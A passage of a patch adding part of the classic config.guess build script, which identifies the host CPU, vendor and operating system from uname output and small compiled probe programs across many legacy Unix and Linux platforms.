one or + # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, + # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently + # switched to ELF, *-*-netbsd* would select the old + # object file format. This provides both forward + # compatibility and a consistent mechanism for selecting the + # object file format. + # Determine the machine/vendor (is the vendor relevant). + case "${UNAME_MACHINE}" in + amiga) machine=m68k-cbm ;; + arm32) machine=arm-unknown ;; + atari*) machine=m68k-atari ;; + sun3*) machine=m68k-sun ;; + mac68k) machine=m68k-apple ;; + macppc) machine=powerpc-apple ;; + hp3[0-9][05]) machine=m68k-hp ;; + ibmrt|romp-ibm) machine=romp-ibm ;; + *) machine=${UNAME_MACHINE}-unknown ;; + esac + # The Operating System including object format. + if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep __ELF__ >/dev/null + then + # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). + # Return netbsd for either. FIX? + os=netbsd + else + os=netbsdelf + fi + # The OS release + release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: + # contains redundant information, the shorter form: + # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. + echo "${machine}-${os}${release}" + exit 0 ;; + alpha:OSF1:*:*) + if test $UNAME_RELEASE = "V4.0"; then + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` + fi + # A Vn.n version is a released version. + # A Tn.n version is a released field test version. + # A Xn.n version is an unreleased experimental baselevel. + # 1.2 uses "1.2" for uname -r. + cat <$dummy.s + .data +\$Lformat: + .byte 37,100,45,37,120,10,0 # "%d-%x\n" + + .text + .globl main + .align 4 + .ent main +main: + .frame \$30,16,\$26,0 + ldgp \$29,0(\$27) + .prologue 1 + .long 0x47e03d80 # implver \$0 + lda \$2,-1 + .long 0x47e20c21 # amask \$2,\$1 + lda \$16,\$Lformat + mov \$0,\$17 + not \$1,\$18 + jsr \$26,printf + ldgp \$29,0(\$26) + mov 0,\$16 + jsr \$26,exit + .end main +EOF + $CC_FOR_BUILD $dummy.s -o $dummy 2>/dev/null + if test "$?" = 0 ; then + case `./$dummy` in + 0-0) + UNAME_MACHINE="alpha" + ;; + 1-0) + UNAME_MACHINE="alphaev5" + ;; + 1-1) + UNAME_MACHINE="alphaev56" + ;; + 1-101) + UNAME_MACHINE="alphapca56" + ;; + 2-303) + UNAME_MACHINE="alphaev6" + ;; + 2-307) + UNAME_MACHINE="alphaev67" + ;; + esac + fi + rm -f $dummy.s $dummy + echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[VTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + exit 0 ;; + Alpha\ *:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # Should we change UNAME_MACHINE based on the output of uname instead + # of the specific Alpha model? + echo alpha-pc-interix + exit 0 ;; + 21064:Windows_NT:50:3) + echo alpha-dec-winnt3.5 + exit 0 ;; + Amiga*:UNIX_System_V:4.0:*) + echo m68k-cbm-sysv4 + exit 0;; + amiga:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:[Aa]miga[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-amigaos + exit 0 ;; + arc64:OpenBSD:*:*) + echo mips64el-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + arc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + hkmips:OpenBSD:*:*) + echo mips-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + pmax:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + sgi:OpenBSD:*:*) + echo mips-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + wgrisc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:OS/390:*:*) + echo i370-ibm-openedition + exit 0 ;; + arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) + echo arm-acorn-riscix${UNAME_RELEASE} + exit 0;; + SR2?01:HI-UX/MPP:*:*) + echo hppa1.1-hitachi-hiuxmpp + exit 0;; + Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) + # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. + if test "`(/bin/universe) 2>/dev/null`" = att ; then + echo pyramid-pyramid-sysv3 + else + echo pyramid-pyramid-bsd + fi + exit 0 ;; + NILE*:*:*:dcosx) + echo pyramid-pyramid-svr4 + exit 0 ;; + sun4H:SunOS:5.*:*) + echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) + echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + i86pc:SunOS:5.*:*) + echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:6*:*) + # According to config.sub, this is the proper way to canonicalize + # SunOS6. Hard to guess exactly what SunOS6 will be like, but + # it's likely to be more like Solaris than SunOS4. + echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:*:*) + case "`/usr/bin/arch -k`" in + Series*|S4*) + UNAME_RELEASE=`uname -v` + ;; + esac + # Japanese Language versions have a version number like `4.1.3-JL'. + echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` + exit 0 ;; + sun3*:SunOS:*:*) + echo m68k-sun-sunos${UNAME_RELEASE} + exit 0 ;; + sun*:*:4.2BSD:*) + UNAME_RELEASE=`(head -1 /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` + test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 + case "`/bin/arch`" in + sun3) + echo m68k-sun-sunos${UNAME_RELEASE} + ;; + sun4) + echo sparc-sun-sunos${UNAME_RELEASE} + ;; + esac + exit 0 ;; + aushp:SunOS:*:*) + echo sparc-auspex-sunos${UNAME_RELEASE} + exit 0 ;; + atari*:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + # The situation for MiNT is a little confusing. The machine name + # can be virtually everything (everything which is not + # "atarist" or "atariste" at least should have a processor + # > m68000). The system name ranges from "MiNT" over "FreeMiNT" + # to the lowercase version "mint" (or "freemint"). Finally + # the system name "TOS" denotes a system which is actually not + # MiNT. But MiNT is downward compatible to TOS, so this should + # be no problem. + atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) + echo m68k-milan-mint${UNAME_RELEASE} + exit 0 ;; + hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) + echo m68k-hades-mint${UNAME_RELEASE} + exit 0 ;; + *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) + echo m68k-unknown-mint${UNAME_RELEASE} + exit 0 ;; + sun3*:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mac68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme88k:OpenBSD:*:*) + echo m88k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + powerpc:machten:*:*) + echo powerpc-apple-machten${UNAME_RELEASE} + exit 0 ;; + RISC*:Mach:*:*) + echo mips-dec-mach_bsd4.3 + exit 0 ;; + RISC*:ULTRIX:*:*) + echo mips-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + VAX*:ULTRIX*:*:*) + echo vax-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + 2020:CLIX:*:* | 2430:CLIX:*:*) + echo clipper-intergraph-clix${UNAME_RELEASE} + exit 0 ;; + mips:*:*:UMIPS | mips:*:*:RISCos) + sed 's/^ //' << EOF >$dummy.c +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif + #if defined (host_mips) && defined (MIPSEB) + #if defined (SYSTYPE_SYSV) + printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_SVR4) + printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) + printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); + #endif + #endif + exit (-1); + } +EOF + $CC_FOR_BUILD $dummy.c -o $dummy \ + && ./$dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ + && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + echo mips-mips-riscos${UNAME_RELEASE} + exit 0 ;; + Night_Hawk:Power_UNIX:*:*) + echo powerpc-harris-powerunix + exit 0 ;; + m88k:CX/UX:7*:*) + echo m88k-harris-cxux7 + exit 0 ;; + m88k:*:4*:R4*) + echo m88k-motorola-sysv4 + exit 0 ;; + m88k:*:3*:R3*) + echo m88k-motorola-sysv3 + exit 0 ;; + AViiON:dgux:*:*) + # DG/UX returns AViiON for all architectures + UNAME_PROCESSOR=`/usr/bin/uname -p` + if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] + then + if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ + [ ${TARGET_BINARY_INTERFACE}x = x ] + then + echo m88k-dg-dgux${UNAME_RELEASE} + else + echo m88k-dg-dguxbcs${UNAME_RELEASE} + fi + else + echo i586-dg-dgux${UNAME_RELEASE} + fi + exit 0 ;; + M88*:DolphinOS:*:*) # DolphinOS (SVR3) + echo m88k-dolphin-sysv3 + exit 0 ;; + M88*:*:R3*:*) + # Delta 88k system running SVR3 + echo m88k-motorola-sysv3 + exit 0 ;; + XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) + echo m88k-tektronix-sysv3 + exit 0 ;; + Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) + echo m68k-tektronix-bsd + exit 0 ;; + *:IRIX*:*:*) + echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` + exit 0 ;; + ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. + echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id + exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' + i?86:AIX:*:*) + echo i386-ibm-aix + exit 0 ;; + *:AIX:2:3) + if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then + sed 's/^ //' << EOF >$dummy.c + #include + + main() + { + if (!__power_pc()) + exit(1); + puts("powerpc-ibm-aix3.2.5"); + exit(0); + } +EOF + $CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + echo rs6000-ibm-aix3.2.5 + elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then + echo rs6000-ibm-aix3.2.4 + else + echo rs6000-ibm-aix3.2 + fi + exit 0 ;; + *:AIX:*:4) + IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | head -1 | awk '{ print $1 }'` + if /usr/sbin/lsattr -EHl ${IBM_CPU_ID} | grep POWER >/dev/null 2>&1; then + IBM_ARCH=rs6000 + else + IBM_ARCH=powerpc + fi + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=4.${UNAME_RELEASE} + fi + echo ${IBM_ARCH}-ibm-aix${IBM_REV} + exit 0 ;; + *:AIX:*:*) + echo rs6000-ibm-aix + exit 0 ;; + ibmrt:4.4BSD:*|romp-ibm:BSD:*) + echo romp-ibm-bsd4.4 + exit 0 ;; + ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and + echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to + exit 0 ;; # report: romp-ibm BSD 4.3 + *:BOSX:*:*) + echo rs6000-bull-bosx + exit 0 ;; + DPX/2?00:B.O.S.:*:*) + echo m68k-bull-sysv3 + exit 0 ;; + 9000/[34]??:4.3bsd:1.*:*) + echo m68k-hp-bsd + exit 0 ;; + hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) + echo m68k-hp-bsd4.4 + exit 0 ;; + 9000/[34678]??:HP-UX:*:*) + case "${UNAME_MACHINE}" in + 9000/31? ) HP_ARCH=m68000 ;; + 9000/[34]?? ) HP_ARCH=m68k ;; + 9000/[678][0-9][0-9]) + sed 's/^ //' << EOF >$dummy.c + + #define _HPUX_SOURCE + #include + #include + + int main () + { + #if defined(_SC_KERNEL_BITS) + long bits = sysconf(_SC_KERNEL_BITS); + #endif + long cpu = sysconf (_SC_CPU_VERSION); + + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1"); break; + case CPU_PA_RISC2_0: + #if defined(_SC_KERNEL_BITS) + switch (bits) + { + case 64: puts ("hppa2.0w"); break; + case 32: puts ("hppa2.0n"); break; + default: puts ("hppa2.0"); break; + } break; + #else /* !defined(_SC_KERNEL_BITS) */ + puts ("hppa2.0"); break; + #endif + default: puts ("hppa1.0"); break; + } + exit (0); + } +EOF + (CCOPTS= $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null ) && HP_ARCH=`./$dummy` + rm -f $dummy.c $dummy + esac + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + echo ${HP_ARCH}-hp-hpux${HPUX_REV} + exit 0 ;; + 3050*:HI-UX:*:*) + sed 's/^ //' << EOF >$dummy.c + #include + int + main () + { + long cpu = sysconf (_SC_CPU_VERSION); + /* The order matters, because CPU_IS_HP_MC68K erroneously returns + true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct + results, however. */ + if (CPU_IS_PA_RISC (cpu)) + { + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; + case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; + default: puts ("hppa-hitachi-hiuxwe2"); break; + } + } + else if (CPU_IS_HP_MC68K (cpu)) + puts ("m68k-hitachi-hiuxwe2"); + else puts ("unknown-hitachi-hiuxwe2"); + exit (0); + } +EOF + $CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + echo unknown-hitachi-hiuxwe2 + exit 0 ;; + 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) + echo hppa1.1-hp-bsd + exit 0 ;; + 9000/8??:4.3bsd:*:*) + echo hppa1.0-hp-bsd + exit 0 ;; + *9??*:MPE/iX:*:*) + echo hppa1.0-hp-mpeix + exit 0 ;; + hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) + echo hppa1.1-hp-osf + exit 0 ;; + hp8??:OSF1:*:*) + echo hppa1.0-hp-osf + exit 0 ;; + i?86:OSF1:*:*) + if [ -x /usr/sbin/sysversion ] ; then + echo ${UNAME_MACHINE}-unknown-osf1mk + else + echo ${UNAME_MACHINE}-unknown-osf1 + fi + exit 0 ;; + parisc*:Lites*:*:*) + echo hppa1.1-hp-lites + exit 0 ;; + hppa*:OpenBSD:*:*) + echo hppa-unknown-openbsd + exit 0 ;; + C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) + echo c1-convex-bsd + exit 0 ;; + C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) + echo c34-convex-bsd + exit 0 ;; + C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) + echo c38-convex-bsd + exit 0 ;; + C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) + echo c4-convex-bsd + exit 0 ;; + CRAY*X-MP:*:*:*) + echo xmp-cray-unicos + exit 0 ;; + CRAY*Y-MP:*:*:*) + echo ymp-cray-unicos${UNAME_RELEASE} + exit 0 ;; + CRAY*[A-Z]90:*:*:*) + echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ + | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ + -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ + exit 0 ;; + CRAY*TS:*:*:*) + echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*T3E:*:*:*) + echo alpha-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*SV1:*:*:*) + echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY-2:*:*:*) + echo cray2-cray-unicos + exit 0 ;; + F300:UNIX_System_V:*:*) + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` + echo "f300-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit 0 ;; + F301:UNIX_System_V:*:*) + echo f301-fujitsu-uxpv`echo $UNAME_RELEASE | sed 's/ .*//'` + exit 0 ;; + hp300:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + i?86:BSD/386:*:* | i?86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) + echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} + exit 0 ;; + sparc*:BSD/OS:*:*) + echo sparc-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:BSD/OS:*:*) + echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:FreeBSD:*:*) + echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` + exit 0 ;; + *:OpenBSD:*:*) + echo ${UNAME_MACHINE}-unknown-openbsd`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + exit 0 ;; + i*:CYGWIN*:*) + echo ${UNAME_MACHINE}-pc-cygwin + exit 0 ;; + i*:MINGW*:*) + echo ${UNAME_MACHINE}-pc-mingw32 + exit 0 ;; + i*:Windows_NT*:* | Pentium*:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we + # UNAME_MACHINE based on the output of uname instead of i386? + echo i386-pc-interix + exit 0 ;; + i*:UWIN*:*) + echo ${UNAME_MACHINE}-pc-uwin + exit 0 ;; + p*:CYGWIN*:*) + echo powerpcle-unknown-cygwin + exit 0 ;; + prep*:SunOS:5.*:*) + echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + *:GNU:*:*) + echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` + exit 0 ;; + *:Linux:*:*) + + # The BFD linker knows what the default object file format is, so + # first see if it will tell us. cd to the root directory to prevent + # problems with other programs or directories called `ld' in the path. + ld_help_string=`cd /; ld --help 2>&1` + ld_supported_emulations=`echo $ld_help_string \ + | sed -ne '/supported emulations:/!d + s/[ ][ ]*/ /g + s/.*supported emulations: *// + s/ .*// + p'` + case "$ld_supported_emulations" in + *ia64) + echo "${UNAME_MACHINE}-unknown-linux" + exit 0 + ;; + i?86linux) + echo "${UNAME_MACHINE}-pc-linux-gnuaout" + exit 0 + ;; + elf_i?86) + echo "${UNAME_MACHINE}-pc-linux" + exit 0 + ;; + i?86coff) + echo "${UNAME_MACHINE}-pc-linux-gnucoff" + exit 0 + ;; + sparclinux) + echo "${UNAME_MACHINE}-unknown-linux-gnuaout" + exit 0 + ;; + armlinux) + echo "${UNAME_MACHINE}-unknown-linux-gnuaout" + exit 0 + ;; + elf32arm*) + echo "${UNAME_MACHINE}-unknown-linux-gnuoldld" + exit 0 + ;; + armelf_linux*) + echo "${UNAME_MACHINE}-unknown-linux-gnu" + exit 0 + ;; + m68klinux) + echo "${UNAME_MACHINE}-unknown-linux-gnuaout" + exit 0 + ;; + elf32ppc | elf32ppclinux) + # Determine Lib Version + cat >$dummy.c < +#if defined(__GLIBC__) +extern char __libc_version[]; +extern char __libc_release[]; +#endif +main(argc, argv) + int argc; + char *argv[]; +{ +#if defined(__GLIBC__) + printf("%s %s\n", __libc_version, __libc_release); +#else + printf("unkown\n"); +#endif + return 0; +} +EOF + LIBC="" + $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null + if test "$?" = 0 ; then + ./$dummy | grep 1\.99 > /dev/null + if test "$?" = 0 ; then + LIBC="libc1" + fi + fi + rm -f $dummy.c $dummy + echo powerpc-unknown-linux-gnu${LIBC} + exit 0 + ;; + shelf_linux) + echo "${UNAME_MACHINE}-unknown-linux-gnu" + exit 0 + ;; + esac + + if test "${UNAME_MACHINE}" = "alpha" ; then + cat <$dummy.s + .data + \$Lformat: + .byte 37,100,45,37,120,10,0 # "%d-%x\n" + + .text + .globl main + .align 4 + .ent main + main: + .frame \$30,16,\$26,0 + ldgp \$29,0(\$27) + .prologue 1 + .long 0x47e03d80 # implver \$0 + lda \$2,-1 + .long 0x47e20c21 # amask \$2,\$1 + lda \$16,\$Lformat + mov \$0,\$17 + not \$1,\$18 + jsr \$26,printf + ldgp \$29,0(\$26) + mov 0,\$16 + jsr \$26,exit + .end main +EOF + LIBC="" + $CC_FOR_BUILD $dummy.s -o $dummy 2>/dev/null + if test "$?" = 0 ; then + case `./$dummy` in + 0-0) + UNAME_MACHINE="alpha" + ;; + 1-0) + UNAME_MACHINE="alphaev5" + ;; + 1-1) + UNAME_MACHINE="alphaev56" + ;; + 1-101) + UNAME_MACHINE="alphapca56" + ;; + 2-303) + UNAME_MACHINE="alphaev6" + ;; + 2-307) + UNAME_MACHINE="alphaev67" + ;; + esac + + objdump --private-headers $dummy | \ + grep ld.so.1 > /dev/null + if test "$?" = 0 ; then + LIBC="libc1" + fi + fi + rm -f $dummy.s $dummy + echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} ; exit 0 + elif test "${UNAME_MACHINE}" = "mips" ; then + cat >$dummy.c < /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif +#ifdef __MIPSEB__ + printf ("%s-unknown-linux-gnu\n", argv[1]); +#endif +#ifdef __MIPSEL__ + printf ("%sel-unknown-linux-gnu\n", argv[1]); +#endif + return 0; +} +EOF + $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy "${UNAME_MACHINE}" && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + elif test "${UNAME_MACHINE}" = "s390"; then + echo s390-ibm-linux && exit 0 + else + # Either a pre-BFD a.out linker (linux-gnuoldld) + # or one that does not give us useful --help. + # GCC wants to distinguish between linux-gnuoldld and linux-gnuaout. + # If ld does not provide *any* "supported emulations:" + # that means it is gnuoldld. + echo "$ld_help_string" | grep >/dev/null 2>&1 "supported emulations:" + test $? != 0 && echo "${UNAME_MACHINE}-pc-linux-gnuoldld" && exit 0 + + case "${UNAME_MACHINE}" in + i?86) + VENDOR=pc; + ;; + *) + VENDOR=unknown; + ;; + esac + # Determine whether the default compiler is a.out or elf + cat >$dummy.c < +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif +#ifdef __ELF__ +# ifdef __GLIBC__ +# if __GLIBC__ >= 2 + printf ("%s-${VENDOR}-linux-gnu\n", argv[1]); +# else + printf ("%s-${VENDOR}-linux-gnulibc1\n", argv[1]); +# endif +# else + printf ("%s-${VENDOR}-linux-gnulibc1\n", argv[1]); +# endif +#else + printf ("%s-${VENDOR}-linux-gnuaout\n", argv[1]); +#endif + return 0; +} +EOF + $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy "${UNAME_MACHINE}" && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + fi ;; +# ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. earlier versions +# are messed up and put the nodename in both sysname and nodename. + i?86:DYNIX/ptx:4*:*) + echo i386-sequent-sysv4 + exit 0 ;; + i?86:UNIX_SV:4.2MP:2.*) + # Unixware is an offshoot of SVR4, but it has its own version + # number series starting with 2... + # I am not positive that other SVR4 systems won't match this, + # I just have to hope. -- rms. + # Use sysv4.2uw... so that sysv4* matches it. + echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} + exit 0 ;; + i?86:*:4.*:* | i?86:SYSTEM_V:4.*:*) + UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` + if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then + echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} + fi + exit 0 ;; + i?86:*:5:7*) + # Fixed at (any) Pentium or better + UNAME_MACHINE=i586 + if [ ${UNAME_SYSTEM} = "UnixWare" ] ; then + echo ${UNAME_MACHINE}-sco-sysv${UNAME_RELEASE}uw${UNAME_VERSION} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_RELEASE} + fi + exit 0 ;; + i?86:*:3.2:*) + if test -f /usr/options/cb.name; then + UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then + UNAME_REL=`(/bin/uname -X|egrep Release|sed -e 's/.*= //')` + (/bin/uname -X|egrep i80486 >/dev/null) && UNAME_MACHINE=i486 + (/bin/uname -X|egrep '^Machine.*Pentium' >/dev/null) \ + && UNAME_MACHINE=i586 + (/bin/uname -X|egrep '^Machine.*Pent ?II' >/dev/null) \ + && UNAME_MACHINE=i686 + (/bin/uname -X|egrep '^Machine.*Pentium Pro' >/dev/null) \ + && UNAME_MACHINE=i686 + echo ${UNAME_MACHINE}-pc-sco$UNAME_REL + else + echo ${UNAME_MACHINE}-pc-sysv32 + fi + exit 0 ;; + i?86:*DOS:*:*) + echo ${UNAME_MACHINE}-pc-msdosdjgpp + exit 0 ;; + pc:*:*:*) + # Left here for compatibility: + # uname -m prints for DJGPP always 'pc', but it prints nothing about + # the processor, so we play safe by assuming i386. + echo i386-pc-msdosdjgpp + exit 0 ;; + Intel:Mach:3*:*) + echo i386-pc-mach3 + exit 0 ;; + paragon:*:*:*) + echo i860-intel-osf1 + exit 0 ;; + i860:*:4.*:*) # i860-SVR4 + if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then + echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 + else # Add other i860-SVR4 vendors below as they are discovered. + echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 + fi + exit 0 ;; + mini*:CTIX:SYS*5:*) + # "miniframe" + echo m68010-convergent-sysv + exit 0 ;; + M68*:*:R3V[567]*:*) + test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; + 3[34]??:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 4850:*:4.0:3.0) + OS_REL='' + test -r /etc/.relid \ + && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4.3${OS_REL} && exit 0 + /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ + && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; + 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4 && exit 0 ;; + m68*:LynxOS:2.*:*) + echo m68k-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + mc68030:UNIX_System_V:4.*:*) + echo m68k-atari-sysv4 + exit 0 ;; + i?86:LynxOS:2.*:* | i?86:LynxOS:3.[01]*:*) + echo i386-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + TSUNAMI:LynxOS:2.*:*) + echo sparc-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + rs6000:LynxOS:2.*:* | PowerPC:LynxOS:2.*:*) + echo rs6000-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + SM[BE]S:UNIX_SV:*:*) + echo mips-dde-sysv${UNAME_RELEASE} + exit 0 ;; + RM*:ReliantUNIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + RM*:SINIX-*:*:*) + echo 